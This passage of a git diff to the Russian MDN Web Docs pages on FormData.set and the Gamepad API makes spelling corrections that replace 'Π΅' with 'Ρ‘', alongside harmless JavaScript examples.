<dd>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, присваиваСмоС полю. Π’ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π΅ с двумя ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ, это <a class="new" href="https://developer.mozilla.org/ru/docs/Web/API/USVString" rel="nofollow" title="ДокумСнтация ΠΎΠ± этом Π΅Ρ‰Ρ‘ Π½Π΅ написана; поТалуйста, поспособствуйтС Π΅Ρ‘ написанию!"><code>USVString</code></a>, Ссли Π½Π΅Ρ‚, Ρ‚ΠΎ ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ. Π’ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π΅ с трСмя ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒΒ <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β Blob прСдставляСт ΠΈΠ· сСбя ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅ Ρ„Π°ΠΉΠ»Π° с нСизмСняСмыми, сырыми Π΄Π°Π½Π½Ρ‹ΠΌΠΈ. Blob-Ρ‹ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ Π² Ρ€ΠΎΠ΄Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ JavaScript. Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ File основан Π½Π° Blob, наслСдуСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΒ Blob ΠΈ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ Сго для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ² Π½Π° систСмС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ."><code>Blob</code></a>, <a href="https://developer.mozilla.org/ru/docs/Web/API/File" title="Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ File прСдставляСт ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ„Π°ΠΉΠ»Π°Ρ… ΠΈ прСдоставляСт JavaScript Π² Π²Π΅Π± страницС доступ ΠΊ ΠΈΡ… ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ."><code>File</code></a>, ΠΈΠ»ΠΈ <a class="new" href="https://developer.mozilla.org/ru/docs/Web/API/USVString" rel="nofollow" title="ДокумСнтация ΠΎΠ± этом Π΅Ρ‰Ρ‘ Π½Π΅ написана; поТалуйста, поспособствуйтС Π΅Ρ‘ написанию!"><code>USVString</code></a>, И снова, Ссли Π½ΠΈΒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π½ΠΈΡ… Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ Ρ‚ΠΎ ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ Π² строку.</dd>
<dt><code>filename </code>{{optional_inline}}</dt>
- <dd>Имя Ρ„Π°ΠΉΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ΠΎ сСрвСру (<a class="new" href="https://developer.mozilla.org/ru/docs/Web/API/USVString" rel="nofollow" title="ДокумСнтация ΠΎΠ± этом Π΅Ρ‰Ρ‘ Π½Π΅ написана; поТалуйста, поспособствуйтС Π΅Ρ‘ написанию!"><code>USVString</code></a>), ΠΊΠΎΠ³Π΄Π°Β <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β Blob прСдставляСт ΠΈΠ· сСбя ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅ Ρ„Π°ΠΉΠ»Π° с нСизмСняСмыми, сырыми Π΄Π°Π½Π½Ρ‹ΠΌΠΈ. Blob-Ρ‹ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ Π² Ρ€ΠΎΠ΄Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ JavaScript. Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ File основан Π½Π° Blob, наслСдуСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΒ Blob ΠΈ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ Сго для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ² Π½Π° систСмС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ."><code>Blob</code></a> ΠΈΠ»ΠΈΒ <a href="https://developer.mozilla.org/ru/docs/Web/API/File" title="Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ File прСдставляСт ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ„Π°ΠΉΠ»Π°Ρ… ΠΈ прСдоставляСт JavaScript Π² Π²Π΅Π± страницС доступ ΠΊ ΠΈΡ… ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ."><code>File</code></a> ΠΏΡ€ΠΎΡˆΠ΅Π» ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ ΠΊΠ°ΠΊ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€. Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΠΎΠ΅ имя Ρ„Π°ΠΉΠ»Π° для <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β Blob прСдставляСт ΠΈΠ· сСбя ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅ Ρ„Π°ΠΉΠ»Π° с нСизмСняСмыми, сырыми Π΄Π°Π½Π½Ρ‹ΠΌΠΈ. Blob-Ρ‹ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ Π² Ρ€ΠΎΠ΄Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ JavaScript. Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ File основан Π½Π° Blob, наслСдуСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΒ Blob ΠΈ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ Сго для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ² Π½Π° систСмС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ."><code>Blob</code></a> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β ΡΡ‚ΠΎΒ "blob".</dd>
+ <dd>Имя Ρ„Π°ΠΉΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ΠΎ сСрвСру (<a class="new" href="https://developer.mozilla.org/ru/docs/Web/API/USVString" rel="nofollow" title="ДокумСнтация ΠΎΠ± этом Π΅Ρ‰Ρ‘ Π½Π΅ написана; поТалуйста, поспособствуйтС Π΅Ρ‘ написанию!"><code>USVString</code></a>), ΠΊΠΎΠ³Π΄Π°Β <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β Blob прСдставляСт ΠΈΠ· сСбя ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅ Ρ„Π°ΠΉΠ»Π° с нСизмСняСмыми, сырыми Π΄Π°Π½Π½Ρ‹ΠΌΠΈ. Blob-Ρ‹ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ Π² Ρ€ΠΎΠ΄Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ JavaScript. Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ File основан Π½Π° Blob, наслСдуСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΒ Blob ΠΈ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ Сго для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ² Π½Π° систСмС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ."><code>Blob</code></a> ΠΈΠ»ΠΈΒ <a href="https://developer.mozilla.org/ru/docs/Web/API/File" title="Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ File прСдставляСт ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ„Π°ΠΉΠ»Π°Ρ… ΠΈ прСдоставляСт JavaScript Π² Π²Π΅Π± страницС доступ ΠΊ ΠΈΡ… ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ."><code>File</code></a> ΠΏΡ€ΠΎΡˆΡ‘Π» ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ ΠΊΠ°ΠΊ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€. Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΠΎΠ΅ имя Ρ„Π°ΠΉΠ»Π° для <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β Blob прСдставляСт ΠΈΠ· сСбя ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅ Ρ„Π°ΠΉΠ»Π° с нСизмСняСмыми, сырыми Π΄Π°Π½Π½Ρ‹ΠΌΠΈ. Blob-Ρ‹ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ Π² Ρ€ΠΎΠ΄Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ JavaScript. Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ File основан Π½Π° Blob, наслСдуСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΒ Blob ΠΈ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ Сго для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ² Π½Π° систСмС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ."><code>Blob</code></a> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β ΡΡ‚ΠΎΒ "blob".</dd>
</dl>
<div class="note">
@@ -37,7 +37,7 @@ formData.set(name, value, filename);</pre>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ создаСт пустой <code>FormData</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚:</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ создаёт пустой <code>FormData</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚:</p>
<pre class="brush: js">var formData = new FormData(); // БСйчас пустой</pre>
diff --git a/files/ru/web/api/gamepad/buttons/index.html b/files/ru/web/api/gamepad/buttons/index.html
index 90665213fb..a789d8d152 100644
--- a/files/ru/web/api/gamepad/buttons/index.html
+++ b/files/ru/web/api/gamepad/buttons/index.html
@@ -22,7 +22,7 @@ translation_of: Web/API/Gamepad/buttons
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ взят ΠΈΠ· ΠΌΠΎΠ΅Π³ΠΎ<em>Β (Π°Π²Ρ‚ΠΎΡ€Π° ΡΡ‚Π°Ρ‚ΡŒΠΈ)</em>Β Π΄Π΅ΠΌΠΎ Gamepad API buttonΒ (Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Β <a href="http://chrisdavidmills.github.io/gamepad-buttons/" rel="noopener">ΠŸΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π΄Π΅ΠΌΠΎ</a>, ΠΈΒ <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master" rel="noopener">ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ исходники Π½Π° GitHub</a>).Β Π’Π°ΠΆΠ½ΠΎ β€” Π² ChromeΒ <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a>Β Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ прСфикс <code>webkit</code>, ΠΈ значСния ΠΊΠ½ΠΎΠΏΠΊΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΈΠ· сСбя массив Π΄Ρ€ΠΎΠ±Π½Ρ‹Ρ… чисСл, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Π²Β Β FirefoxΒ <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a>Β Π½Π΅Ρ‚ нСобходимости ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ прСфикс, ΠΈ значСния Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ собой массив  ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton"><code>GamepadButton</code></a>; Бвойство <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/value" rel="nofollow"><code>GamepadButton.value</code></a>Β ΠΈΠ»ΠΈΒ <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/pressed" rel="nofollow"><code>GamepadButton.pressed</code></a>Β Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ для получСния состояния ΠΊΠ½ΠΎΠΏΠΊΠΈ, Π² зависимости ΠΎΡ‚ ΠΎΡ‚ Ρ‚ΠΈΠΏΠ° ΠΊΠ½ΠΎΠΏΠΊΠΈ. Π’ Π΄Π°Π½Π½ΠΎΠΌ простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ обрабатываСтся ΠΎΠ±Π° Π²ΠΈΠ΄Π° ΠΊΠ½ΠΎΠΏΠΎΠΊ.</p>
+<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ взят ΠΈΠ· ΠΌΠΎΠ΅Π³ΠΎ<em>Β (Π°Π²Ρ‚ΠΎΡ€Π° ΡΡ‚Π°Ρ‚ΡŒΠΈ)</em>Β Π΄Π΅ΠΌΠΎ Gamepad API buttonΒ (Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Β <a href="http://chrisdavidmills.github.io/gamepad-buttons/" rel="noopener">ΠŸΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π΄Π΅ΠΌΠΎ</a>, ΠΈΒ <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master" rel="noopener">ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ исходники Π½Π° GitHub</a>).Β Π’Π°ΠΆΠ½ΠΎ β€” Π² ChromeΒ <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a>Β Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ прСфикс <code>webkit</code>, ΠΈ значСния ΠΊΠ½ΠΎΠΏΠΊΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΈΠ· сСбя массив Π΄Ρ€ΠΎΠ±Π½Ρ‹Ρ… чисСл, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Π²Β Β FirefoxΒ <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a>Β Π½Π΅Ρ‚ нСобходимости ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ прСфикс, ΠΈ значСния Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ собой массив  ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton"><code>GamepadButton</code></a>; Бвойство <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/value" rel="nofollow"><code>GamepadButton.value</code></a>Β ΠΈΠ»ΠΈΒ <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/pressed" rel="nofollow"><code>GamepadButton.pressed</code></a>Β Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ для получСния состояния ΠΊΠ½ΠΎΠΏΠΊΠΈ, Π² зависимости ΠΎΡ‚ ΠΎΡ‚ Ρ‚ΠΈΠΏΠ° ΠΊΠ½ΠΎΠΏΠΊΠΈ. Π’ Π΄Π°Π½Π½ΠΎΠΌ простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ обрабатываСтся ΠΎΠ±Π° Π²ΠΈΠ΄Π° ΠΊΠ½ΠΎΠΏΠΎΠΊ.</p>
<pre class="brush: js notranslate">function gameLoop() {
if(navigator.webkitGetGamepads) {
diff --git a/files/ru/web/api/gamepad/connected/index.html b/files/ru/web/api/gamepad/connected/index.html
index 8170c0f537..9e2188d733 100644
--- a/files/ru/web/api/gamepad/connected/index.html
+++ b/files/ru/web/api/gamepad/connected/index.html
@@ -5,9 +5,9 @@ translation_of: Web/API/Gamepad/connected
---
<p>{{APIRef("Gamepad API")}}</p>
-<p>Бвойство <code><strong>Gamepad.connected</strong></code> интСрфСйса {{domxref("Gamepad") }} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ логичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ Π»ΠΈ всё Π΅Ρ‰Ρ‘ Π³Π΅ΠΉΠΌΠΏΠ°Π΄ ΠΊ систСмС.</p>
+<p>Бвойство <code><strong>Gamepad.connected</strong></code> интСрфСйса {{domxref("Gamepad") }} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ логичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π»ΠΈ всё Π΅Ρ‰Ρ‘ Π³Π΅ΠΉΠΌΠΏΠ°Π΄ ΠΊ систСмС.</p>
-<p>Если Π³Π΅ΠΉΠΌΠΏΠ°Π΄ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ - Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ <code>true</code>; Ссли Π½Π΅Ρ‚ - <code>false</code>.</p>
+<p>Если Π³Π΅ΠΉΠΌΠΏΠ°Π΄ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½ - Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ <code>true</code>; Ссли Π½Π΅Ρ‚ - <code>false</code>.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/api/gamepad/id/index.html b/files/ru/web/api/gamepad/id/index.html
index ef66df6574..66be8d6484 100644
--- a/files/ru/web/api/gamepad/id/index.html
+++ b/files/ru/web/api/gamepad/id/index.html
@@ -7,14 +7,14 @@ translation_of: Web/API/Gamepad/id
<p>Бвойство<strong> <code>Gamepad.id</code></strong> интСрфСйса {{domxref("Gamepad") }} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ строку, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π΅.</p>
-<p>Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ синтаксис Π½Π΅ стандартизирован, Π½ΠΎ Π² Firefox эта строка прСдставляСт собой Ρ‚Ρ€ΠΈ значСния, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Ρ‚ΠΈΡ€Π΅ (<code>-</code>):</p>
+<p>Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ синтаксис Π½Π΅ стандартизирован, Π½ΠΎ Π² Firefox эта строка прСдставляСт собой Ρ‚Ρ€ΠΈ значСния, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Ρ‚ΠΈΡ€Π΅ (<code>-</code>):</p>
<ul>
- <li>Π”Π²Π΅ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ…Π·Π½Π°Ρ‡Π½Ρ‹Ρ… ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Ρ… строки, содСрТащих USB vendor id (<code>VID</code>) ΠΈ product id (<code>PID</code>) ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π°</li>
+ <li>Π”Π²Π΅ Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ…Π·Π½Π°Ρ‡Π½Ρ‹Ρ… ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Ρ… строки, содСрТащих USB vendor id (<code>VID</code>) ΠΈ product id (<code>PID</code>) ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π°</li>
<li>Имя ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π°, прСдоставлСнноС Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€ΠΎΠΌ.</li>
</ul>
-<p>НапримСр, PS2 ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ Π²Π΅Ρ€Π½Π΅Ρ‚ <code><strong>810-3-USB Gamepad</strong></code>.</p>
+<p>НапримСр, PS2 ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code><strong>810-3-USB Gamepad</strong></code>.</p>
<p>Π­Ρ‚Π° информация позволяСт Π²Π°ΠΌ Π½Π°ΠΉΡ‚ΠΈ соотвСтствиС для элСмСнтов управлСния ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅, ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
diff --git a/files/ru/web/api/gamepad/index.html b/files/ru/web/api/gamepad/index.html
index 2059e361da..376c436448 100644
--- a/files/ru/web/api/gamepad/index.html
+++ b/files/ru/web/api/gamepad/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/Gamepad
<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ <strong><code>Gamepad</code></strong> <a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a> опрСдСляСт ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π³Π΅ΠΉΠΌΠΏΠ°Π΄ ΠΈΠ»ΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ доступ ΠΊ Ρ‚Π°ΠΊΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΊΠ°ΠΊ: Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ ΠΊΠ½ΠΎΠΏΠΎΠΊ, ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ осСй, ΠΈ id.</p>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ <code>Gamepad</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΈΠ· Π΄Π²ΡƒΡ… случаСв: ΠΊΠ°ΠΊ свойство <code>gamepad</code> событий {{event("gamepadconnected")}} ΠΈ {{event("gamepaddisconnected")}}, ΠΈΠ»ΠΈ считываниСм любой ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π² массивС, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½ΠΎΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ {{domxref("Navigator.getGamepads()")}}.</p>
